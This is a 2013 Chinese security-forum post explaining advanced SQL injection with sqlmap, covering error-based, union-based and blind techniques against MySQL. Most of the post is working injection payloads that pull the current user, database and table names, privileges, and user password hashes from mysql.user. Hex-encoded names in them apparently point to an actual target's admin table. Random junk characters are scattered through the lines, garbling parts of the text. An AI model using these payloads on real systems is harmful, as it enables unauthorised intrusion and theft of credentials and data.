找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2231|回复: 0
打印 上一主题 下一主题

sqlmap高级注入

[复制链接]
跳转到指定楼层
楼主
发表于 2013-7-16 20:31:26 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
放假第一天,本应该好好放松一下,可是还是想着把文章写完先。。。
; g/ o3 a" s( ^8 Q- Y ' p/ \' A2 U, B8 v
这次的主题是高级注入,坛子里也讲到了一些,不过本文旨在给大家一个更深刻的概念和全面的理解,下面看看我自己列的一个表- s. |! B; B/ v9 `3 F; w* W5 [5 G3 s* k

( `4 i; W4 ^0 s2 o! C. u分类标准        分类        备注
" B" e, V3 c& a. A# ?% |按字段类型        整型注入,字符型注入       
. w( a% o& b* \' P" {0 Z按出现的位置        get注入,post注入,cookie注入,http header注入       
3 F  x# n0 ~7 F. U3 a+ n; |, p' |然而高级注入是这样的; p6 O  V% ~* r9 _. ]
2 ?8 f* ~' M0 G6 ~4 J8 d* Z
高级注入分类        条件9 E' A  S. Y& M7 k: f0 R
error-based sql        数据库的错误回显可以返回,存在数据库,表结构
) N0 M/ g* K: ?- h! a1 e8 B( eunion-based sql        能够使用union,存在数据库,表结构
* B2 F* S8 o  Q1 G) u6 ublind sql        存在注入: p5 u( G9 |" i/ j
我们暂且不考虑waf等的影响,只从原理上学习。通过上面我们不难发现,三种高级注入选择的顺序应该是eub(第一个字母,后面为了方便我都这样表示了 ),实际上,e是不需要知道字段数的,u需要知道字段数,e之所以在前我觉得主要是因为这个,因为在其他方面它们没有本质的区别,它们都需要知道数据库以及表的结构,这样才能构造出相应的语句,当然,能e一般能u(没过滤union等),反过来却很不一定,因为一般会有自定义的错误提醒。如果没有结构,那么就回到了最悲剧,最麻烦的b了,猜。。。当然可能没有结果,但是如果只是不能使用u,有结构,b还是能出结果的,只是苦逼点而已。。。4 h  J5 t: Y3 T1 F4 U

. [: P; ?2 K1 W5 M好了,说了这么多,该上神器sqlmap了,最近坛子里貌似很火
  P* L. g* F( a  i3 b' N6 T: `* f ) f/ k: o% ]. B, `
附件分别以mysql和mssql为例子,提醒:sqlmap中使用-v 3可以查看每个请求的payload。  Y/ {6 i$ A5 [
) H" O5 b% _" C7 k) Z0 s
这里用mysql说明2 ?5 B, p. V& Y7 b3 X/ }

$ I! e. r) j) t7 q' te注入坛子里很多了,请看戳我或者再戳我
5 F: r1 d- T& p, A7 Q& R6 h ) u9 {/ M0 n) t  z. O! M/ N8 y; c$ n
u注入其实也很多了,这里就大概帖上一些重要语句吧,附件上结合例子都有的
" w$ a& N! I% e( _7 q 6 c1 }) L4 O1 _4 A( q+ z
获取当前数据库用户名2 x+ m! C$ H; ?  h4 K* `) v; i5 n* L- R
- C8 s' O5 d2 P3 d$ t1 H# X; J
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(C
1 ?' m1 \7 C7 E3 G7 U5 v/ m& q( aAST(CURRENT_USER() AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NUL& w1 i. [0 D$ e
L, NULL#
: g2 \6 ?( Z! b* z5 C. u. i- [注意concat那里不是必须的,只是sqlmap为了自动攫取出数据加上的特征,下面语句类似,涉及基础性的知识,基友们自己去补吧。6 Q6 \5 V! B- a2 r' W) v$ P
$ \6 G7 I* \. d
获取数据库名
! l2 _1 s( y# @6 ~7 i: E3 ?
& @, H0 M/ z* s0 z5 yUNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(DATABASE() AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL#
2 u- w! a* P0 E获取所有用户名, t. ~" n; t/ L7 w8 z7 w' A
7 q  c/ W; F* U- Q; f# ]& N+ B3 p
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(grantee AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.USER_PRIVILEGES#
# k0 M! |6 U5 n# ]+ v5 W& a% K查看当前用户权限" E- R) u' p( h7 a5 F( w, U: }; e
- B5 L. @# d# o4 O3 \% K4 M
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(grantee AS CHAR),0x20),0x697461626a6e,IFNULL(CAST(privilege_type AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.USER_PRIVILEGES## F/ y' U. ?2 o2 }
尝试获取密码,当然需要有能读mysql数据库的权限1 A, a) [% O, K  M" ]1 n. j" o

. ]3 |! e9 ]7 G1 ]7 D$ Y) yUNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(user AS CHAR),0x20),0x697461626a6e,IFNULL(CAST(password AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM mysql.user#0 I; C1 L2 f" W$ B# w; j1 u( V0 ~
获取表名,limit什么的自己搞啦
- R: j3 T8 S* \" ]
* j- p- I0 y% _UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(table_name AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.TABLES WHERE table_schema = 0x7061727474696d655f6a6f62#
  K3 }( l8 h: G$ [. U5 O  I获取字段名及其类型' o9 L; N! O. Z# g/ ]0 [
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(column_name AS CHAR),0×20),0x697461626a6e,IFNULL(CAST(column_type AS CHAR),0×20),0x3a6864623a),NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x61646d696e5f7461626c65 AND table_schema=0x7061727474696d655f6a6f62 AND (column_name=0x61646d696e6e616d65 OR column_name=0x70617373776f7264)#
+ D( t! D# a& [, }4 ?/ z 8 F' c! `( U" D& N6 ]
b注入,呵呵,除了当前用户,数据库,版本可以出来,而如果不能u,但存在数据的结构表,还是能苦逼出来,否则猜也不一定能猜到表和字段,内容自然也出不来,苦逼access啊。。。5 m( W: {. q5 K, ?  S
  h' Z$ E; I7 f
如:
1 g5 A" w) }% S" P& p获取当前用户名" M+ }0 Y. B! _2 t; h
# V! {8 r+ p, u* r  A1 t
AND ORD(MID((IFNULL(CAST(CURRENT_USER() AS CHAR),0x20)),1,1)) > 116* M- J7 W7 L6 U' t) e
获取当前数据库2 S4 ?9 m% Z( D. t, t) w$ s+ h! M
  `6 M( e& ?  f1 [
AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),6,1)) > 106
2 [+ D7 E: S( c9 S* g4 M  q' H获取表名
4 V; }$ z# V4 {+ G- x: L/ o3 O+ K
; [: P& ~3 u4 G; \9 |' jAND ORD(MID((SELECT IFNULL(CAST(COUNT(table_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x7061727474696d655f6a6f62),1,1)) > 51
0 S5 L7 v5 \/ j. a* }1 z* s! A获取字段名及其类型和爆内容就不说了,改改上面的就可以了。
( d0 x' _1 ]) p5 z7 Y2 E- K6 S回到最苦逼的情况,无结构的,mysql版本<5.0,现在不多见了吧,还是看看语句。
' N5 X7 [" f# o3 T+ e* M- F& V爆表
& o  ?" T+ _% P 1 G1 c) m  |& ^& C, F- Z6 d
AND EXISTS(select * from table)! f8 z5 t1 n4 H% _: `( z, A& Y3 t9 r
爆字段
# R) H0 K7 _$ w8 g7 Q& P
: s' U. a+ n9 ^; DAND EXISTS(select pwd from table)
9 V! {- b1 K& }  |盲注的变化就比较多了,由于篇幅,只是举个例子而已。
* }8 I( B1 d! r4 K
) {# Q- T. R* [' ]本来想把mssql和access都写上的,不过编辑得太累了,有时间再写吧,其实原理都差不多,今天就洗洗睡了吧。! S4 o. X2 R& J1 t. J. @
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表